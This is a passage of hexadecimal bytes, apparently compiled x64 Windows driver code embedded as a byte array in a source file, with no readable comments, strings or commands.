0x7C, 0x24, + 0x58, 0x48, 0x8B, 0x5C, 0x24, 0x40, 0x66, 0x89, 0x75, 0x00, 0x48, 0x8B, 0x74, 0x24, 0x50, 0x48, 0x8B, 0x6C, 0x24, 0x48, 0x33, 0xC0, 0x48, 0x83, 0xC4, 0x38, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0x48, 0x83, 0xEC, 0x58, 0x48, 0x89, 0x5C, 0x24, 0x78, 0x48, 0x89, 0x6C, 0x24, 0x50, 0x48, 0x89, 0x74, 0x24, 0x48, 0x48, 0x8B, 0xEA, 0x48, 0x8B, 0xF1, 0x48, 0x89, 0x7C, 0x24, 0x40, 0x4C, 0x89, 0x64, 0x24, 0x38, 0x45, 0x8B, 0xE0, 0x41, 0xB8, + 0x44, 0x64, 0x6B, 0x20, 0xBA, 0x00, 0x01, 0x00, 0x00, 0x33, 0xC9, 0xBB, 0x02, 0x80, 0x6A, 0xC8, 0xFF, 0x15, 0x42, 0x27, 0x00, 0x00, 0x48, 0x85, 0xED, 0x48, 0x8B, 0xF8, 0x74, 0x3F, 0x48, 0x85, 0xC0, 0x74, 0x54, 0x48, 0x8B, 0xCE, 0xE8, 0x3D, + 0xFC, 0xFF, 0xFF, 0x48, 0x85, 0xC0, 0x74, 0x2D, 0x45, 0x33, 0xC9, 0x41, 0xB0, 0x0F, 0x48, 0x8B, 0xD7, 0x48, 0x8B, 0xC8, 0xC7, 0x44, 0x24, 0x20, 0x40, 0x00, 0x00, 0x00, 0xE8, 0x3F, 0xF3, 0xFF, 0xFF, 0x4D, 0x8B, 0xC4, 0x48, 0x8B, 0xD7, 0x49, + 0xC1, 0xE0, 0x02, 0x48, 0x8B, 0xCD, 0xE8, 0x7D, 0x09, 0x00, 0x00, 0x33, 0xDB, 0x48, 0x85, 0xFF, 0x74, 0x15, 0x48, 0x8D, 0x15, 0xDF, 0x18, 0x00, 0x00, 0x41, 0xB8, 0xF3, 0x00, 0x00, 0x00, 0x48, 0x8B, 0xCF, 0xE8, 0x71, 0xE4, 0xFF, 0xFF, 0x4C, + 0x8B, 0x64, 0x24, 0x38, 0x48, 0x8B, 0x7C, 0x24, 0x40, 0x48, 0x8B, 0x74, 0x24, 0x48, 0x48, 0x8B, 0x6C, 0x24, 0x50, 0x8B, 0xC3, 0x48, 0x8B, 0x5C, 0x24, 0x78, 0x48, 0x83, 0xC4, 0x58, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x83, 0xEC, 0x38, 0x4D, 0x85, 0xC0, 0x48, 0x89, 0x5C, 0x24, 0x58, 0x48, 0x89, 0x7C, 0x24, 0x30, 0x8B, 0xFA, 0x49, 0x8B, 0xD8, 0x74, 0x45, 0xE8, 0xA3, 0xFB, 0xFF, 0xFF, 0x48, 0x85, 0xC0, + 0x74, 0x3B, 0x44, 0x8D, 0x0C, 0xBD, 0x00, 0x00, 0x00, 0x00, 0x41, 0xB0, 0x0F, 0x48, 0x8B, 0xD3, 0x48, 0x8B, 0xC8, 0xC7, 0x44, 0x24, 0x20, 0x04, 0x00, 0x00, 0x00, 0xE8, 0xA0, 0xF2, 0xFF, 0xFF, 0x33, 0xD2, 0xB9, 0x09, 0x40, 0x6A, 0xC8, 0x85, + 0xC0, 0x0F, 0x49, 0xCA, 0x8B, 0xC1, 0x48, 0x8B, 0x7C, 0x24, 0x30, 0x48, 0x8B, 0x5C, 0x24, 0x58, 0x48, 0x83, 0xC4, 0x38, 0xC3, 0x48, 0x8B, 0x7C, 0x24, 0x30, 0x48, 0x8B, 0x5C, 0x24, 0x58, 0xB8, 0x02, 0x40, 0x6A, 0xC8, 0x48, 0x83, 0xC4, 0x38, + 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x44, 0x89, 0x44, 0x24, 0x18, 0x48, 0x81, 0xEC, 0x88, 0x00, 0x00, 0x00, 0x48, 0x89, 0x9C, 0x24, 0xA8, 0x00, 0x00, 0x00, 0x48, 0x89, 0x7C, 0x24, + 0x78, 0x8B, 0xFA, 0xE8, 0x20, 0xFB, 0xFF, 0xFF, 0x48, 0x85, 0xC0, 0x48, 0x8B, 0xD8, 0x0F, 0x84, 0xD4, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x4C, 0x24, 0x58, 0x45, 0x33, 0xC0, 0x33, 0xD2, 0x48, 0x89, 0xB4, 0x24, 0x80, 0x00, 0x00, 0x00, 0xFF, 0x15, + 0x84, 0x26, 0x00, 0x00, 0x33, 0xF6, 0x4C, 0x8D, 0x5C, 0x24, 0x48, 0x48, 0x8D, 0x44, 0x24, 0x58, 0x8D, 0x4E, 0x1B, 0x4C, 0x89, 0x5C, 0x24, 0x30, 0x48, 0x89, 0x44, 0x24, 0x28, 0x45, 0x33, 0xC9, 0x45, 0x33, 0xC0, 0x48, 0x8B, 0xD3, 0x48, 0x89, + 0x74, 0x24, 0x20, 0xFF, 0x15, 0x4F, 0x26, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x48, 0x8B, 0xD0, 0x74, 0x6D, 0x48, 0x8B, 0x88, 0xB8, 0x00, 0x00, 0x00, 0x48, 0x83, 0xE9, 0x48, 0x74, 0x60, 0xC7, 0x40, 0x30, 0xBB, 0x00, 0x00, 0xC0, 0x48, 0x8D, 0x84, + 0x24, 0xA0, 0x00, 0x00, 0x00, 0xC6, 0x01, 0x1B, 0x48, 0x89, 0x41, 0x10, 0x8D, 0x04, 0xBD, 0x00, 0x00, 0x00, 0x00, 0xC6, 0x41, 0x01, 0x10, 0xC7, 0x41, 0x20, 0x04, 0x00, 0x00, 0x00, 0x89, 0x71, 0x08, 0x89, 0x41, 0x18, 0x48, 0x8B, 0xCB, 0xFF, + 0x15, 0xFB, 0x25, 0x00, 0x00, 0x3D, 0x03, 0x01, 0x00, 0x00, 0x44, 0x8B, 0xD8, 0x75, 0x24, 0x48, 0x8D, 0x4C, 0x24, 0x58, 0x45, 0x33, 0xC9, 0x45, 0x33, 0xC0, 0x33, 0xD2, 0x48, 0x89, 0x74, 0x24, 0x20, 0xFF, 0x15, 0xD1, 0x25, 0x00, 0x00, 0x44, + 0x8B, 0x5C, 0x24, 0x48, 0xEB, 0x05, 0x44, 0x8B, 0x5C, 0x24, 0x40, 0xB8, 0x09, 0x40, 0x6A, 0xC8, 0x45, 0x85, 0xDB, 0x0F, 0x49, 0xC6, 0x48, 0x8B, 0xB4, 0x24, 0x80, 0x00, 0x00, 0x00, 0xEB, 0x05, 0xB8, 0x02, 0x40, 0x6A, 0xC8, 0x48, 0x8B, 0x7C, + 0x24, 0x78, 0x48, 0x8B, 0x9C, 0x24, 0xA8, 0x00, 0x00, 0x00, 0x48, 0x81, 0xC4, 0x88, 0x00, 0x00, 0x00, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x8B, 0xC4, 0x48, 0x81, 0xEC, 0x88, 0x01, 0x00, 0x00, 0x48, 0x89, 0x58, 0xF8, 0x48, 0x89, + 0x68, 0xF0, 0x48, 0x89, 0x70, 0xE8, 0x48, 0x89, 0x78, 0xE0, 0x4C, 0x89, 0x60, 0xD8, 0x4C, 0x89, 0x68, 0xD0, 0x4C, 0x8B, 0xE9, 0x41, 0x8B, 0xF9, 0x41, 0x0F, 0xB6, 0xD8, 0x8B, 0xF2, 0x41, 0xBC, 0x02, 0x40, 0x6A, 0xC8, 0xC7, 0x44, 0x24, 0x30, + 0x00, 0x00, 0x00, 0x00, 0xE8, 0xDF, 0xF9, 0xFF, 0xFF, 0x48, 0x85, 0xC0, 0x48, 0x8B, 0xE8, 0x0F, 0x84, 0x50, 0x01, 0x00, 0x00, 0x45, 0x33, 0xE4, 0x80, 0xFB, 0x0F, 0x75, 0x27, 0x48, 0x8D, 0x4C, 0x24, 0x40, 0x49, 0x8B, 0xD5, 0x41, 0xB8, 0x08, + 0x01, 0x00, 0x00, 0xE8, 0x28, 0x07, 0x00, 0x00, 0x48, 0x8D, 0x4C, 0x24, 0x40, 0x44, 0x8B, 0xC7, 0x8B, 0xD6, 0xE8, 0x69, 0xFE, 0xFF, 0xFF, 0xE9, 0x24, 0x01, 0x00, 0x00, 0x80, 0xFB, 0x03, 0x75, 0x2E, 0x0F, 0xB7, 0xC7, 0x44, 0x8D, 0x0C, 0xB5, + 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x54, 0x24, 0x30, 0x41, 0xB0, 0x10, 0x48, 0x8B, 0xCD, 0xC7, 0x44, 0x24, 0x20, 0x02, 0x00, 0x00, 0x00, 0x89, 0x44, 0x24, 0x30, 0xE8, 0x98, 0xF0, 0xFF, 0xFF, 0x33, 0xC0, 0xE9, 0xF1, 0x00, 0x00, 0x00, 0x80, + 0xFB, 0x0C, 0x75, 0x2E, 0x44, 0x8D, 0x0C, 0xB5, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x54, 0x24, 0x30, 0xC1, 0xEF, 0x10, 0x41, 0xB0, 0x10, 0x48, 0x8B, 0xC8, 0xC7, 0x44, 0x24, 0x20, 0x02, 0x00, 0x00, 0x00, 0x89, 0x7C, 0x24, 0x30, 0xE8, 0x65, + 0xF0, 0xFF, 0xFF, 0x33, 0xC0, 0xE9, 0xBE, 0x00, 0x00, 0x00, 0xF6, 0xC3, 0x01, 0x74, 0x28, 0x40, 0x0F, 0xB6, 0xC7, 0x44, 0x8D, 0x0C, 0xB5, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x54, 0x24, 0x30, 0x41, 0xB0, 0x10, 0x48, 0x8B, 0xCD, 0xC7, 0x44, + 0x24, 0x20, 0x01, 0x00, 0x00, 0x00, 0x89, 0x44, 0x24, 0x30, 0xE8, 0x31, 0xF0, 0xFF, 0xFF, 0xF6, 0xC3, 0x02, 0x74, 0x2C, 0x8B, 0xC7, 0x44, 0x8D, 0x0C, 0xB5, 0x01, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x54, 0x24, 0x30, 0xC1, 0xE8, 0x08, 0x41, 0xB0, + 0x10, 0x48, 0x8B, 0xCD, 0x0F, 0xB6, 0xC0, 0xC7, 0x44, 0x24, 0x20, 0x01, 0x00, 0x00, 0x00, 0x89, 0x44, 0x24, 0x30, 0xE8, 0x00, 0xF0, 0xFF, 0xFF, 0xF6, 0xC3, 0x04, 0x74, 0x2C, 0x8B, 0xC7, 0x44, 0x8D, 0x0C, 0xB5, 0x02, 0x00, 0x00, 0x00, 0x48, + 0x8D, 0x54, 0x24, 0x30, 0xC1, 0xE8, 0x10, 0x41, 0xB0, 0x10, 0x48, 0x8B, 0xCD, 0x0F, 0xB6, 0xC0, 0xC7, 0x44, 0x24, 0x20, 0x01, 0x00, 0x00, 0x00, 0x89, 0x44, 0x24, 0x30, 0xE8, 0xCF, 0xEF, 0xFF, 0xFF, 0xF6, 0xC3, 0x08, 0x74, 0x27, 0xC1, 0xEF, + 0x18, 0x44, 0x8D, 0x0C, 0xB5, 0x03, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x54, 0x24, 0x30, 0x41, 0xB0, 0x10, 0x48, 0x8B, 0xCD, 0xC7, 0x44, 0x24, 0x20, 0x01, 0x00, 0x00, 0x00, 0x89, 0x7C, 0x24, 0x30, 0xE8, 0xA3, 0xEF, 0xFF, 0xFF, 0x41, 0x8B, 0xC4, + 0x4C, 0x8B, 0xAC, 0x24, 0x58, 0x01, 0x00, 0x00, 0x4C, 0x8B, 0xA4, 0x24, 0x60, 0x01, 0x00, 0x00, 0x48, 0x8B, 0xBC, 0x24, 0x68, 0x01, 0x00, 0x00, 0x48, 0x8B, 0xB4, 0x24, 0x70, 0x01, 0x00, 0x00, 0x48, 0x8B, 0xAC, 0x24, 0x78, 0x01, 0x00, 0x00, + 0x48, 0x8B, 0x9C, 0x24, 0x80, 0x01, 0x00, 0x00, 0x48, 0x81, 0xC4, 0x88, 0x01, 0x00, 0x00, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x83, 0xEC, 0x28, 0x48, 0x85, 0xC9, 0x48, 0x89, 0x5C, 0x24, 0x40, 0x48, 0x89, 0x7C, 0x24, + 0x48, 0x48, 0x8B, 0xF9, 0x48, 0x8B, 0xDA, 0x0F, 0x84, 0xB9, 0x00, 0x00, 0x00, 0x48, 0x85, 0xD2, 0x0F, 0x84, 0xB0, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x4A, 0x08, 0x48, 0x8D, 0x57, 0x08, 0x41, 0xB8, 0x08, 0x01, 0x00, 0x00, 0xE8, 0x77, 0x05, 0x00, + 0x00, 0x44, 0x0F, 0xB6, 0x9F, 0x28, 0x01, 0x00, 0x00, 0x48, 0x8D, 0x0D, 0x28, 0x15, 0x00, 0x00, 0x44, 0x88, 0x9B, 0x28, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x07, 0x48, 0x89, 0x03, 0x48, 0x8B, 0x87, 0x10, 0x01, 0x00, 0x00, 0x48, 0x89, 0x83, 0x10, + 0x01, 0x00, 0x00, 0x48, 0x8B, 0x87, 0x20, 0x01, 0x00, 0x00, 0x48, 0x89, 0x83, 0x20, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x87, 0x18, 0x01, 0x00, 0x00, 0xC6, 0x83, 0x50, 0x01, 0x00, 0x00, 0x00, 0x48, 0x89, 0x83, 0x18, 0x01, 0x00, 0x00, 0x8B, 0x83, + 0x70, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x93, 0x18, 0x01, 0x00, 0x00, 0x89, 0x83, 0x40, 0x01, 0x00, 0x00, 0x8B, 0x83, 0x64, 0x01, 0x00, 0x00, 0x89, 0x83, 0x34, 0x01, 0x00, 0x00, 0x0F, 0xB6, 0x83, 0x60, 0x01, 0x00, 0x00, 0x88, 0x83, 0x30, 0x01, + 0x00, 0x00, 0x48, 0x8B, 0x83, 0x68, 0x01, 0x00, 0x00, 0x48, 0x89, 0x83, 0x38, 0x01, 0x00, 0x00, 0xE8, 0x6B, 0xE1, 0xFF, 0xFF, 0x33, 0xC0, 0x48, 0x8B, 0x7C, 0x24, 0x48, 0x48, 0x8B, 0x5C, 0x24, 0x40, 0x48, 0x83, 0xC4, 0x28, 0xC3, 0x48, 0x8B, + 0x7C, 0x24, 0x48, 0x48, 0x8B, 0x5C, 0x24, 0x40, 0xB8, 0x01, 0x00, 0x00, 0x00, 0x48, 0x83, 0xC4, 0x28, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xB8, 0x03, 0x00, 0x6A, 0xC8, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0x48, 0x53, 0x48, 0x83, 0xEC, 0x20, 0x48, 0x85, 0xC9, 0x48, 0x8B, 0xD9, 0x74, 0x39, 0x80, 0xB9, 0x29, 0x01, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x05, 0xC4, 0x14, 0x00, 0x00, 0x48, 0x8D, 0x15, 0xAD, 0x14, 0x00, 0x00, 0x48, 0x8D, 0x0D, 0x76, 0x14, + 0x00, 0x00, 0x48, 0x0F, 0x45, 0xD0, 0xE8, 0xFD, 0xE0, 0xFF, 0xFF, 0x0F, 0xB6, 0x83, 0x29, 0x01, 0x00, 0x00, 0xC6, 0x83, 0x29, 0x01, 0x00, 0x00, 0x00, 0x48, 0x83, 0xC4, 0x20, 0x5B, 0xC3, 0x32, 0xC0, 0x48, 0x83, 0xC4, 0x20, 0x5B, 0xC3, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x53, 0x48, 0x83, 0xEC, 0x20, 0xBA, 0x30, 0x06, 0x00, 0x00, 0x33, 0xC9, 0x41, 0xB8, 0x44, 0x64, 0x6B, 0x20, 0xFF, 0x15, 0xB7, 0x21, 0x00, + 0x00, 0x48, 0x85, 0xC0, 0x48, 0x8B, 0xD8, 0x74, 0x13, 0x33, 0xD2, 0x41, 0xB8, 0x30, 0x06, 0x00, 0x00, 0x48, 0x8B, 0xC8, 0xE8, 0x6F, 0x07, 0x00, 0x00, 0x48, 0x8B, 0xC3, 0x48, 0x83, 0xC4, 0x20, 0x5B, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0x48, 0x85, 0xC9, 0x74, 0x3E, 0x53, 0x48, 0x83, 0xEC, 0x20, 0x83, 0xB9, 0xA8, 0x03, 0x00, 0x00, 0x00, 0x48, 0x8B, 0xD9, 0x74, 0x14, 0x48, 0x8B, 0x89, 0x88, 0x01, 0x00, 0x00, 0xFF, 0x15, 0xE5, 0x21, 0x00, 0x00, 0x83, 0x83, 0xA8, 0x03, 0x00, + 0x00, 0xFF, 0x83, 0xBB, 0xA8, 0x03, 0x00, 0x00, 0x00, 0x75, 0x0B, 0x33, 0xD2, 0x48, 0x8B, 0xCB, 0xFF, 0x15, 0x5A, 0x21, 0x00, 0x00, 0x48, 0x83, 0xC4, 0x20, 0x5B, 0xC2, 0x00, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0x48, 0x85, 0xC9, 0x0F, 0x84, 0x92, 0x00, 0x00, 0x00, 0x53, 0x48, 0x83, 0xEC, 0x40, 0x48, 0x8B, 0xDA, 0x48, 0x8D, 0x91, 0x98, 0x01, 0x00, 0x00, 0x48, 0x8D, 0x4C, 0x24, 0x30, 0xFF, 0x15, 0x8D, 0x21, 0x00, 0x00, 0xBA, 0x04, 0x01, 0x00, 0x00, + 0x41, 0xB8, 0x44, 0x64, 0x6B, 0x20, 0xB9, 0x01, 0x00, 0x00, 0x00, 0x66, 0xC7, 0x44, 0x24, 0x20, 0x04, 0x01, 0x66, 0xC7, 0x44, 0x24, 0x22, 0x04, 0x01, 0xFF, 0x15, 0xF9, 0x20, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x48, 0x89, 0x44, 0x24, 0x28, 0x74, + 0x45, 0x48, 0x8D, 0x54, 0x24, 0x30, 0x48, 0x8D, 0x4C, 0x24, 0x20, 0x45, 0x33, 0xC0, 0xFF, 0x15, 0x94, 0x21, 0x00, 0x00, 0x48, 0x8B, 0x4C, 0x24, 0x28, 0x85, 0xC0, 0x78, 0x21, 0x48, 0x8B, 0xD1, 0x48, 0x2B, 0xD9, 0x90, 0x66, 0x66, 0x66, 0x90, + 0x66, 0x66, 0x66, 0x90, 0x66, 0x66, 0x66, 0x90, 0x0F, 0xB6, 0x02, 0x48, 0xFF, 0xC2, 0x84, 0xC0, 0x88, 0x44, 0x13, 0xFF, 0x75, 0xF2, 0x33, 0xD2, 0xFF, 0x15, 0xB2, 0x20, 0x00, 0x00, 0x48, 0x83, 0xC4, 0x40, 0x5B, 0xC2, 0x00, 0x00, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x4C, 0x8B, 0xDC, 0x48, 0x81, 0xEC, 0xF8, 0x04, 0x00, 0x00, 0x48, 0x8B, 0x05, 0x57, 0x31, 0x00, 0x00, 0x48, 0x89, 0x84, 0x24, 0xE0, 0x04, 0x00, + 0x00, 0x48, 0x85, 0xC9, 0x49, 0x89, 0x5B, 0x18, 0x49, 0x89, 0x7B, 0x20, 0x48, 0x8B, 0xF9, 0xBB, 0x01, 0x00, 0x00, 0x00, 0x0F, 0x84, 0x49, 0x02, 0x00, 0x00, 0x48, 0x8B, 0x11, 0x48, 0x8D, 0x0D, 0x14, 0x16, 0x00, 0x00, 0xE8, 0x4F, 0xDF, 0xFF, + 0xFF, 0x48, 0x8B, 0x17, 0x48, 0x8D, 0x42, 0xFF, 0x48, 0x83, 0xF8, 0x07, 0x0F, 0x87, 0x18, 0x02, 0x00, 0x00, 0x48, 0x8D, 0x0D, 0x07, 0xC0, 0xFF, 0xFF, 0x8B, 0x84, 0x81, 0x44, 0x42, 0x00, 0x00, 0x48, 0x03, 0xC1, 0xFF, 0xE0, 0x48, 0x83, 0xC7, + 0x10, 0x74, 0x35, 0x48, 0x8D, 0x4C, 0x24, 0x20, 0x48, 0x8D, 0x57, 0x08, 0x41, 0xB8, 0x08, 0x01, 0x00, 0x00, 0xE8, 0x91, 0x02, 0x00, 0x00, 0x48, 0x8B, 0x1F, 0x48, 0x8D, 0x4C, 0x24, 0x20, 0x48, 0x8D, 0x93, 0x58, 0x01, 0x00, 0x00, 0xE8, 0x0D, + 0xF6, 0xFF, 0xFF, 0xFF, 0x83, 0xA8, 0x03, 0x00, 0x00, 0x33, 0xDB, 0xE9, 0xDB, 0x01, 0x00, 0x00, 0x48, 0x8D, 0x0D, 0x59, 0x15, 0x00, 0x00, 0xE8, 0xE4, 0xDE, 0xFF, 0xFF, 0xE9, 0xCA, 0x01, 0x00, 0x00, 0x48, 0x8D, 0x4F, 0x10, 0x48, 0x85, 0xC9, + 0x74, 0x13, 0x48, 0x8D, 0x51, 0x08, 0x48, 0x8B, 0x09, 0xE8, 0x8A, 0xFE, 0xFF, 0xFF, 0x33, 0xDB, 0xE9, 0xAE, 0x01, 0x00, 0x00, 0x48, 0x8D, 0x0D, 0xCC, 0x14, 0x00, 0x00, 0xE8, 0xB7, 0xDE, 0xFF, 0xFF, 0xE9, 0x9D, 0x01, 0x00, 0x00, 0x48, 0x83, + 0xC7, 0x10, 0x74, 0x0F, 0xE8, 0xD7, 0xFD, 0xFF, 0xFF, 0x33, 0xDB, 0x48, 0x89, 0x07, 0xE9, 0x88, 0x01, 0x00, 0x00, 0x48, 0x8D, 0x0D, 0x46, 0x14, 0x00, 0x00, 0xE8, 0x91, 0xDE, 0xFF, 0xFF, 0xE9, 0x77, 0x01, 0x00, 0x00, 0x48, 0x8D, 0x4F, 0x10, + 0x48, 0x85, 0xC9, 0x74, 0x0F, 0x48, 0x8B, 0x09, 0xE8, 0xEB, 0xFD, 0xFF, 0xFF, 0x33, 0xDB, 0xE9, 0x5F, 0x01, 0x00, 0x00, 0x48, 0x8D, 0x0D, 0xBD, 0x13, 0x00, 0x00, 0xE8, 0x68, 0xDE, 0xFF, 0xFF, 0xE9, 0x4E, 0x01, 0x00, 0x00, 0x48, 0x83, 0xC7, + 0x10, 0x0F, 0x84, 0x80, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8C, 0x24, 0x38, 0x01, 0x00, 0x00, 0x48, 0x8D, 0x57, 0x08, 0x41, 0xB8, 0x08, 0x01, 0x00, 0x00, 0xE8, 0xC2, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x07, 0x44, 0x0F, 0xB6, 0x9F, 0x28, 0x01, 0x00, + 0x00, 0x48, 0x8B, 0x97, 0x30, 0x01, 0x00, 0x00, 0x48, 0x89, 0x84, 0x24, 0x30, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x87, 0x10, 0x01, 0x00, 0x00, 0x48, 0x89, 0x84, 0x24, 0x40, 0x02, 0x00, 0x00, 0x48, 0x8B, 0x87, 0x20, 0x01, 0x00, 0x00, 0x48, 0x8D, + 0x8C, 0x24, 0x30, 0x01, 0x00, 0x00, 0x48, 0x89, 0x84, 0x24, 0x50, 0x02, 0x00, 0x00, 0x48, 0x8B, 0x87, 0x18, 0x01, 0x00, 0x00, 0x44, 0x88, 0x9C, 0x24, 0x58, 0x02, 0x00, 0x00, 0x48, 0x89, 0x84, 0x24, 0x48, 0x02, 0x00, 0x00, 0xE8, 0xB6, 0xFB, + 0xFF, 0xFF, 0x33, 0xDB, 0x89, 0x87, 0x38, 0x01, 0x00, 0x00, 0xE9, 0xC4, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x0D, 0xD2, 0x12, 0x00, 0x00, 0xE8, 0xCD, 0xDD, 0xFF, 0xFF, 0xE9, 0xB3, 0x00, 0x00, 0x00, 0x48, 0x83, 0xC7, 0x10, 0x74, 0x0E, 0xE8, 0x9D, + 0xD0, 0xFF, 0xFF, 0x33, 0xDB, 0x89, 0x07, 0xE9, 0x9F, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x0D, 0x4D, 0x12, 0x00, 0x00, 0xE8, 0xA8, 0xDD, 0xFF, 0xFF, 0xE9, 0x8E, 0x00, 0x00, 0x00, 0x48, 0x83, 0xC7, 0x10, 0x74, 0x2E, 0x48, 0x8D, 0x4C, 0x24, 0x20, + 0x48, 0x8B, 0xD7, 0x41, 0xB8, 0x08, 0x01, 0x00, 0x00, 0xE8, 0x0A, 0x01, 0x00, 0x00, 0x0F, 0xB6, 0x97, 0x09, 0x01, 0x00, 0x00, 0x48, 0x8D, 0x4C, 0x24, 0x20, 0xE8, 0x69, 0xD0, 0xFF, 0xFF, 0x33, 0xDB, 0x88, 0x87, 0x08, 0x01, 0x00, 0x00, 0xEB, + 0x5A, 0x48, 0x8D, 0x0D, 0xB8, 0x11, 0x00, 0x00, 0xE8, 0x63, 0xDD, 0xFF, 0xFF, 0xEB, 0x4C, 0x48, 0x83, 0xC7, 0x10, 0x74, 0x27, 0x48, 0x8D, 0x4C, 0x24, 0x20, 0x48, 0x8B, 0xD7, 0x41, 0xB8, 0x08, 0x01, 0x00, 0x00, 0xE8, 0xC8, 0x00, 0x00, 0x00, + 0x48, 0x8D, 0x4C, 0x24, 0x20, 0xE8, 0xFE, 0xD0, 0xFF, 0xFF, 0x33, 0xDB, 0x88, 0x87, 0x08, 0x01, 0x00, 0x00, 0xEB, 0x1F, 0x48, 0x8D, 0x0D, 0x1D, 0x11, 0x00, 0x00, 0xE8, 0x28, 0xDD, 0xFF, 0xFF, 0xEB, 0x11, 0x48, 0x8D, 0x0D, 0xDF, 0x10, 0x00, + 0x00, 0xE8, 0x1A, 0xDD, 0xFF, 0xFF, 0xBB, 0x18, 0x20, 0x6A, 0xC8, 0x48, 0x8B, 0xBC, 0x24, 0x18, 0x05, 0x00, 0x00, 0x8B, 0xC3, 0x48, 0x8B, 0x9C, 0x24, 0x10, 0x05, 0x00, 0x00, 0x48, 0x8B, 0x8C, 0x24, 0xE0, 0x04, 0x00, 0x00, 0xE8, 0xD6, 0x04, + 0x00, 0x00, 0x48, 0x81, 0xC4, 0xF8, 0x04, 0x00, 0x00, 0xC3, 0x66, 0x90, 0x05, 0x40, 0x00, 0x00, 0x51, 0x40, 0x00, 0x00, 0x7E, 0x40, 0x00, 0x00, 0xA4, 0x40, 0x00, 0x00, 0xCD, 0x40, 0x00, 0x00, 0x68, 0x41, 0x00, 0x00, 0x8D, 0x41, 0x00, 0x00, + 0xCF, 0x41, 0x00, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x83, 0xEC, 0x38, 0x4C, 0x8B, 0x0D, 0x85, 0x2E, 0x00, 0x00, 0x4C, 0x8B, 0x05, 0x86, 0x2E, 0x00, 0x00, 0x48, 0x8B, 0xD1, 0xB9, 0xF7, 0x00, + 0x00, 0x00, 0x48, 0xC7, 0x44, 0x24, 0x20, 0x00, 0x00, 0x00, 0x00, 0xFF, 0x15, 0x87, 0x1E, 0x00, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x66, 0x66, 0x66, 0x90, 0x66, 0x66, 0x66, 0x90, 0x66, 0x90, + 0x4C, 0x8B, 0xD9, 0x48, 0x2B, 0xD1, 0x0F, 0x86, 0x9C, 0x01, 0x00, 0x00, 0x49, 0x83, 0xF8, 0x08, 0x72, 0x62, 0xF6, 0xC1, 0x07, 0x74, 0x37, 0xF6, 0xC1, 0x01, 0x74, 0x0C, 0x8A, 0x04, 0x0A, 0x49, 0xFF, 0xC8, 0x88, 0x01, 0x48, 0x83, 0xC1, 0x01, + 0xF6, 0xC1, 0x02, 0x74, 0x0F, 0x66, 0x8B, 0x04, 0x0A, 0x49, 0x83, 0xE8, 0x02, 0x66, 0x89, 0x01, 0x48, 0x83, 0xC1, 0x02, 0xF6, 0xC1, 0x04, 0x74, 0x0D, 0x8B, 0x04, 0x0A, 0x49, 0x83, 0xE8, 0x04, 0x89, 0x01, 0x48, 0x83, 0xC1, 0x04, 0x4D, 0x8B, + 0xC8, 0x49, 0xC1, 0xE9, 0x05, 0x75, 0x50, 0x4D, 0x8B, 0xC8, 0x49, 0xC1, 0xE9, 0x03, 0x74, 0x14, 0x48, 0x8B, 0x04, 0x0A, 0x48, 0x89, 0x01, 0x48, 0x83, 0xC1, 0x08, 0x49, 0xFF, 0xC9, 0x75, 0xF0, 0x49, 0x83, 0xE0, 0x07, 0x4D, 0x85, 0xC0, 0x75, + 0x07, 0x49, 0x8B, 0xC3, 0xC3, 0x66, 0x66, 0x90, 0x8A, 0x04, 0x0A, 0x88, 0x01, 0x48, 0xFF, 0xC1, 0x49, 0xFF, 0xC8, 0x75, 0xF3, 0x49, 0x8B, 0xC3, 0xC3, 0x66, 0x66, 0x66, 0x90, 0x66, 0x66, 0x66, 0x90, 0x66, 0x66, 0x66, 0x90, 0x66, 0x66, 0x90, + 0x66, 0x66, 0x66, 